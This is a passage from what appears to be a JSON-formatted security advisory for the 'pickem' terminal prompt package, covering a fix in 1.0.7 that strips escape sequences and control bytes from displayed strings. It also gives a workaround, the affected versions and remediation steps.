A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.\n\n### Workarounds\nUpgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.\n\n## Affected packages\n\n- `pickem < 1.0.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pickem 1.0.7`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}
